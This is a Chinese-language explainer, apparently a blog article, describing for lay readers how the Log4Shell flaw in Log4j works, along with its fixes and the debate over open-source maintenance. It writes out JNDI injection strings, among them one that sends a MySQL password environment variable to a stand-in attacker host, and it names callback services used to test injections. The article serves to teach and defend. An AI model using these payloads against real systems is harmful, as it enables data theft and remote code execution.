如果你多少关注信息安全资讯,或许在最近几天已经频繁听到 Log4Shell 这个漏洞的名字——或者一些更具传播性的说法,诸如「互联网正在着火」「过去十年最严重的漏洞」「现代计算机历史上最大漏洞」「难以想到哪家公司不受影响」之类(参见《洛杉矶时报》,12 月 10 日)。
这个被报道得神乎其神的 Log4Shell 漏洞(CVE-2021-44228)所针对的,是一个极为常用的 Java 库 Log4j(详见后文说明)。值得一提,这个漏洞最初是由一名中国工程师、阿里云安全团队的 Chen Zhaojun(微博)在 11 月下旬发现并提报的。
有记录的利用 Log4Shell 漏洞发起的攻击开始于 12 月 9 日,最初是针对微软的 Minecraft 游戏 Java 版。但人们很快发现 Log4Shell 的波及范围远不止于此。根据 GitHub 仓库 YfryTchsGD/Log4jAttackSurface 中的攻击案例截图,Apple iCloud、QQ 邮箱、Steam 商店、Twitter、百度搜索等一系列国内外主流服务或平台均存在该漏洞。
好在,Log4j 已经于 12 日发布 2.15.0 版本,修复了漏洞,并且对于暂不能升级的旧版提供了临时应对方案。
受影响的大型平台也作出快速响应。10 日,Minecraft 发布 1.18.1 版,说明已修复了漏洞;亚马逊发出安全警告称,「正积极监控该问题,并已在寻求解决方案」;IBM、Red Hat、甲骨文、VMware 等知名科技公司也宣称正在部署补丁;Apple 尽管没有官方回应,但根据 11 日的测试,原本受到影响的 iCloud 似乎也已经修复。此外,目前暂无因该漏洞导致重大安全事故的报道。
然而,由于该漏洞影响范围之广,受影响服务完成更新或修补仍需不少时间,因此近期内风险仍不可忽视。事实上,根据以色列安全公司 Check Point 的监测,截至 12 月 12 日凌晨(太平洋时间),该公司已拦截到超过 40 万次针对该漏洞的攻击尝试,其中 45% 以上为已知恶意团体所发起。另根据 BleepingComputer 的报道,现已发现一些利用该漏洞安装挖矿脚本、组建僵尸网络和远程监控的案例。
我对编程和信息安全都是外行,但围绕 Log4Shell 这些抓人眼球的报道,不能不引起我的好奇;漏洞演示中简单到极致的攻击步骤——只是在对话框、搜索框里输入一段特殊文本就能触发——也令我希望一探究竟。
本文就是我在经过粗浅研究后的笔记,旨在向与我类似的非专业用户介绍 Log4Shell 漏洞的机制。时间和能力所限,难免有不准确之处,敬请指正。
如果你跟我之前一样,对这个漏洞的描述一头雾水,不妨先通过下面这个比较粗略的比方来建立一个初步印象。
设想一个单位部门的门口有个登记处,里面坐着一个记录员。每当有人进入,记录员都会在一本访客日志上记下一笔:
<某人> 于 <某日> <某时> 因 <某事> 来访
要填写的这些信息中,有些是记录员在下笔之前并不知道的。比如,今天的日期、当前的准确时间,经常需要看一眼日历和手表才能确定;又比如,有的员工嫌报名字麻烦,就干脆报一个工号,让记录员回头自己去花名册里查。
某天,迎面跑来一个急匆匆的身影,还没等记录员问清姓名来意,就扔下一句:我赶路呢,来不及跟你唠废话登记了,你回头打我这个号码,我再跟你说。
老实的记录员也没多想,就记了一笔:
___ 于 12 月 10 日 9:41 因 ___ 来访(回电话 138 XXXX XXXX 问后补)
后来,记录员也确实根据来人要求,拨出了电话,追问对方的具体信息。
记录员的做法有什么安全隐患呢?首先,他或许并没有权限用内部电话对外联系,往最轻的方面来说,这也泄露了不对外的内部号码。此外,如果对方来者不善,在通话过程中各种诱导哄骗,记录员还可能有意无意地泄露一些保密信息,以至做一些超越职权、不符合内部规程的事情。
这也就是 Log4Shell 漏洞的核心:它利用 Log4j 这个「日志记录员」看似不起眼、实则功能和权限都不少的模块,通过诱使其对外连接攻击者控制的服务器,达到收集隐私信息、执行恶意代码的目的。
在形象认识的基础上,我们下面继续从技术角度说明 Log4Shell 漏洞的原理。
Log4j 是一个 Java 语言的库(library)。所谓「库」,通俗地说就是服务于特定功能、可以重复利用的软件代码;如果在开发其他软件时需要用到这种功能,直接拿来套用就行了,避免重复劳动。
Log4j 库所实现的功能就类似于上面故事里的记录员——写日志。由于 Java 是一种非常流行的语言,而 Log4j 是最主流、常用的 Java 库之一,它的代码遍及各类主流软件和服务;这就是 Log4Shell 波及范围广泛的原因。
Log4j 是根据配置文件中设定的「模板」来记录日志的。为了增加灵活性,Log4j 的模板中可以留下一些特殊语法的「待定内容」;在实际生成日志时,Log4j 会根据这些语法的指示,通过检索、查询、计算,将这些待定内容替换为实际内容,记录到日志里——正如上面那个记录员通过翻日历、看手表、查花名册,补齐访客记录里的空档一样。
那么,Log4j 都支持补齐哪些「待定内容」呢?根据文档,这主要包括日期时间、运行环境信息(例如用户名、Java 版本、系统语言)、事件信息等。
例如,如果在模板里写 ${date:yyyy-MM-dd}
,那么 Log4j 就会将其替换为形如 2021-12-12
的当前日期记录下来;如果在模板里写 ${java:version}
,Log4j 就会将其替换为形如 Java version 1.7.0_67
的实际 Java 版本记录下来。
不过,除了这些比较常规的待定内容,Log4j 还支持一种更为复杂的替换方式,称为 JNDI 查询。JNDI(Java Naming and Directory Interface)是 Java 的一项内置功能,它允许 Java 程序在一个目录——可以想象为一个花名册或电话本——中查询数据。
这里,就要提到很多攻击例证里出现的字样——LDAP。LDAP(轻型目录访问协议,Lightweight Directory Access Protocol)是网络世界里一种特别常见的实现「花名册」功能的协议。简而言之,LDAP 通过一种标准化的语法(称为识别名,Distinguished Names 或 DN)记录身份信息。例如:
CN=John Appleseed,OU=Sales,O=Apple
表示一个常用名(commonName
)为 John Appleseed,所属组织单位(organizationUnit
)为 Sales,所属组织(organization
)为 Apple 的对象(通常对应一个用户)。
LDAP 支持通过 URL 地址的形式查询信息。例如,访问如下地址:
ldap://ldap.example.com/cn=John%20Appleseed
就会向 LDAP 服务器 ldap.example.com
请求常用名为 John Appleseed 的用户信息。
根据文档,JNDI 查询的语法是 ${jndi:<查询位置>}
。一般而言,这里的「查询位置」是一个取决于软件运行环境的内部位置,因此 Log4j 会自动给它加上 java:comp/env
的前缀再查询。这就好比在公司内部说「查花名册」,默认就是指查该公司雇员的名册一样。
但特殊地,如果查询位置里包含冒号(:
)——最可能的情况就是一个固定的 URL 地址,例如 ${jndi:ldap://ldap.example.com/a}
,那么,Log4j 在查询时就不会追加上述前缀,而是直接向这个写死的地址查询数据。
实现漏洞的链条就此串了起来。上述功能组合在一起,造成的结果是:Log4j 在记录日志时,可以通过 JNDI 接口,向一个外部的 LDAP 服务器发送请求。
换言之,只要设法让使用了 Log4j 的程序记下一条内容形如 ${jndi:ldap://ldap.example.com/a}
的日志,那么记下这条日志的同时,程序就会试图向 ldap.example.com
请求查询数据,然后解析查询结果并写进日志。
乍看上去,这似乎也没什么大不了。但是,一方面,日志的来源是广泛而多样的,其内容非常容易被操纵。另一方面,记录日志往往是由一个内部服务器或组件负责的,它们可能根本不应该与一个外部网址通讯。两个因素结合,就使得 Log4Shell 漏洞很容易触发,危害性又很高。
例如,很多服务器会通过日志记录访客的浏览器信息(即 HTTP 请求头中的 User-Agent
)、登录的用户名,或者搜索内容。因此,只要将这些信息替换成 ${jndi:ldap://ldap.example.com/a}
之类构造出的内容,就可以通过简单的浏览、登录或搜索操作,往服务器里塞进一条特殊构造的日志,致使服务器访问这条恶意日志中的地址。
需要指出,攻击文本中所用的 ldap.example.com
甚至不需要是一个真正的 LDAP 服务器。因为仅仅是让本不应访问外网的服务器访问外网并留下痕迹,就已经具有一定危害后果了。
留意观察现有攻击例证,会发现很多例子用到的攻击文本中频繁出现 dnslog.cn
、ceye.io
等域名。这些网站的功能类似,都是允许生成一个随机网址,该网址被访问时,会记下访问者的 IP 地址等信息并即时显示在页面上。因此,这类网站经常被用来测试注入式漏洞——包括这次的 Log4Shell 漏洞——的效果:如果能成功操作被攻击主机访问自己生成的网址、留下访问记录,则表明攻击是有效的。
例如,在下面的截图中,攻击者将构造的字符串作为用户名来登录 iCloud 账户。显然,这个字符串进入了 iCloud 服务器的日志中,进而触发漏洞,访问了字符串中所包含的域名:
类似地,在下面的 QQ 邮箱截图中,攻击者将构造的字符串填进了邮箱的搜索框,同样导致了腾讯服务器被记录:
又因为 JNDI 查询的语法是可以嵌套的,这进一步将可能泄露的内容范围,扩大到了任何 Log4j 所能接触到的运行环境信息。正如一些用户在 GitHub 上的漏洞讨论中指出,形如 ${jndi:ldap://www.attacker.com:1389/${env:MYSQL_PASSWORD}
的恶意日志,就会引导 Log4j 首先将内层的 ${env:MYSQL_PASSWORD}
替换为真实的 MySQL 数据库密码,然后通过 URL 泄露给 www.attacker.com
。
此外,注意到 JNDI 的本意在于查询——不仅是发出请求,而且会记录和处理查询结果,因此这个漏洞不仅会导致服务器信息泄漏,而且允许攻击者向服务器传递任意危险内容,可能还包括执行恶意代码。 例如,一个正常的 LDAP 服务器在收到查询请求时,返回的只是查询到的用户信息。但如果这是一个攻击者控制的「假」LDAP 服务器,那么它可以返回任意恶意内容——例如一段包含窃取或破坏功能的代码。
例如,上文提到的 BleepingComputer 报道中提到一个现有的真实案例:攻击者将一段使用 base64 编码的终端脚本附在 JNDI 查询指令中,导致被攻击机器下载并安装了挖矿程序:
这种利用程序不经检查地将文本信息还原为对象的功能,注入和执行恶意代码的漏洞,术语称之为 「反序列化漏洞」(deserialization vulnerabilities),本身并非新鲜事物,在 Java 安全语境下也多有讨论。但或许是因为 Log4j 所服务的日志功能相对没那么引人注目,这个漏洞才蛰伏许久方被发现。
最后,当今网络服务往往是由相互通讯的多个组件构成的。因此,即使直接接收恶意信息的组件不受漏洞影响,这则恶意信息也可能通过数据传输,在某一步被一个后端组件所记录和执行;这极大扩展了漏洞的攻击面和危险程度。
Cloudflare 就在针对本漏洞的博文中举例说:假设一个物流数据系统,它读取包裹上的二维码信息,通过 Log4j 记录下来,然后传给后台服务进一步检索处理。那么,攻击者就可以将恶意构造的信息藏在二维码里,通过上述流程传给后台服务执行。
尽管 Log4Shell 漏洞的危害很大,但好在修复起来思路并不复杂。正如修复漏洞的 Log4j 2.15 版更新记录所示,其主要的修复方法就是加强对 JNDI 的限制,包括默认仅限访问本地的 LDAP 服务器(而非任意远程位置)、禁用大部分 JNDI 通讯的协议等。
而对于暂没有条件升级到新版 Log4j 的服务,也可以通过设置参数禁止 JNDI 查询,或者直接把 JNDI 查询相关代码切割出去,从而实现弥补漏洞。
此外,「存在漏洞」并不代表「会被利用该漏洞攻击」。正如 Ars Techinica 的文章所指出,网络服务往往设有多层的防护机制。即使其中的一个组件存在漏洞,其风险也可能被其他组件的安全机制所阻挡和弥补。
还是以开头的情景为例,那家公司可能从硬件层面禁止用内部分机拨打外部号码,或者监控、阻断员工未经授权的对外通讯,从而杜绝「记录员」被利用的可能性。
然而,哪怕 Log4Shell 的风波随着补丁推出逐渐消退,这一事件也能促使很多超越漏洞本身的思考。
首先是一个软件系统设计的问题:很多评论都惊讶地指出,Log4j 的权限和「胆子」是不是太大了?区区一个「记录员」的角色,怎么能擅自访问未经鉴别的外部地址、甚至任意执行外部代码呢?即使记录不全需要后续完善,难道不也应该先原样抄录(例如技术上对变量做转义处理,即当作纯文本存储),然后交给职有专司的其他组件来查询和补充吗?
特别是当人们找出罪魁祸首——当初引入这个漏洞的功能提案,发现提案者的主要理由只是为了「方便」后,就更加有理由怀疑这个 JNDI 查询功能的加入是否过于草率了。
对此,一种解释是,这是过时开发思路的遗留。例如,Hacker News 用户 @toyg 指出,早年的 Java 开发偏好这种大而全、一个组件实现多种功能的思路,Log4j 这些令人后怕的「丰富」功能可能就因此而来;他还认为,LDAP 传统上是一个跑在内网上,被推定为「安全」的服务,这也容易让人忘记设置安全防护措施。
其次,作为一个由社区维护的开源项目,Log4j 此次漏洞也让人反思开源维护者是否得到了应有的支持和理解。事件发生后,Log4j 维护者 Volkan Yazici 在一条推文中不无委屈地说:
Log4j 的维护者们废寝忘食地提供补救措施;发补丁、写文档、提交 CVE(通用漏洞披露,信息安全行业通用的安全漏洞披露机制——译注)、回复询问,等等。但这都拦不住人们来责难我们,就为了一项我们未收分文的工作,为了一项我们也讨厌、但为了向后兼容不得不保留的功能。
进而有人从维护者 Ralph Goers 的 GitHub 支持者页面发现一段颇为谦卑的陈述:
我用业余时间开发 Log4j 等开源项目,所以一般只 [有空] 解决那些最感兴趣的问题。我一直梦想全职做开源,希望能靠你的支持梦想成真。
而略显讽刺的是,这段话下面赫然显示「3 人赞助了 rgoers 的工作」(情况曝光后数量略有增加)。
既然 Log4j 的使用如此广泛、在各大主流服务中任劳任怨,那么大厂的担当和风范何在?因此有观点主张,使用开源项目的公司有道德上的责任赞助和支持项目的维护者;还有人提出,大厂即使不提供金钱支持,是不是至少应该义务提供技术力量,辅助改进整个项目,而不是自扫门前雪,修好自己的服务了事?
还有观点指出,这次安全漏洞再次提醒我们,开源不等于安全。尽管开源代码是可以审计的,但很多时候并不会真正有人去认真检查;相反,这还可能让人们放松警惕,为 Log4Shell 这样的严重漏洞留下长期潜伏的空间。
此外,维持旧版兼容性与尽快升级保障安全之间的矛盾,使用外部库节约开发时间与减少不必要对外依赖之间的矛盾,也是软件设计相关的经典议题,它们同样在这次漏洞之后的讨论中被大量提及。
至于作为普通用户,应该如何解读和应对这次事件,其实再简单不过——与各位在这两年的公共卫生局面中学到的经验是一样的:不传谣,相信科学,勤听新闻,做好个人防护。